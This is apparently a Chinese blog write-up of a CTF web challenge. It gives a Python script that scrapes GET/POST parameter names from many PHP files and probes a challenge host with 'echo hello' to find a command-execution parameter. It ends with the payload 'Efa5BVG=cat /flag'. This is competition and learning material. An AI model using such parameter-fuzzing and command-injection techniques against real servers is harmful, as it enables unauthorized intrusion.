buu上强网杯高明的黑客

buu上强网杯高明的黑客

在这里插入图片描述
入题就是直接给了一个压缩包下载下来之后会发现是超级多的php代码有点像日志,打开后浏览一下就会发现很多post get参数,还有内敛执行命令,猜测可以利用某个参数来进行命令执行,思路很简单,这题考的应该就是脚本能力。
在这里插入图片描述
代码如下,写脚本过程挺难受,也试过多线程但最后总是一些数据连在一起,目前还没解决,最后拿了大佬的脚本跑也没跑出来,下面的脚本还是用的笨方法,回头再研究一下多线程的问题吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import os
import threading
import requests
import re
s = requests.session()
rootdir = 'D:\pythonwp\\buuweb\强网杯\src'
file_list = os.listdir(rootdir)
useful_param = []
flag = 0
def exp(file):
global flag
global useful_param
# print("try")
re_GETpayload = re.compile(r'\$_GET\[\'(.*?)\'\]',)
re_POSTpayload = re.compile(r'\$_POST\[\'(.*?)\'\]')
path = os.path.join(rootdir, file)
# print(path)
url = 'http://93dec788-f1ac-4f32-99e4-943960f2f002.node3.buuoj.cn/' + file
print(url)
with open(path,encoding='utf-8') as f:
# print(f.read())
res = f.read()
GET_param = re.findall(re_GETpayload,res)
POST_param = re.findall(re_POSTpayload,res)
if file == 'xk0SzyKwfzw.php':
print(GET_param)
print(POST_param)
for k in range(len(POST_param)):
print(POST_param[k])
res_post = s.post(url=url, data={POST_param[k]: 'echo hello'})
if 'hello' in res_post.text:
# useful_param.append(data)
print(POST_param[k])
print("ok")
flag = 1
break
for k in range(len(GET_param)):
payload = url + "?" + GET_param[k] + "=" + 'echo hello'
# print(payload)
# print(data)
res_get = s.get(url=payload)
if file == 'xk0SzyKwfzw.php':
print(payload)
if 'hello' in res_get.text:
# useful_param.append(data)
print(GET_param[k])
flag = 1
break
for i in range(len(file_list)-1,-1,-1): #加入多线程
# t = threading.Thread(target=exp,args=(file_list[i],))
# t.start()
exp(file_list[i])
if flag == 1:
break

在这里插入图片描述

结果如上,可以发现可利用的php文件是xk0SzyKwfzw.php,参数为Efa5BVG,最后构造payload为Efa5BVG=cat /flag即可得到flag
在这里插入图片描述


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!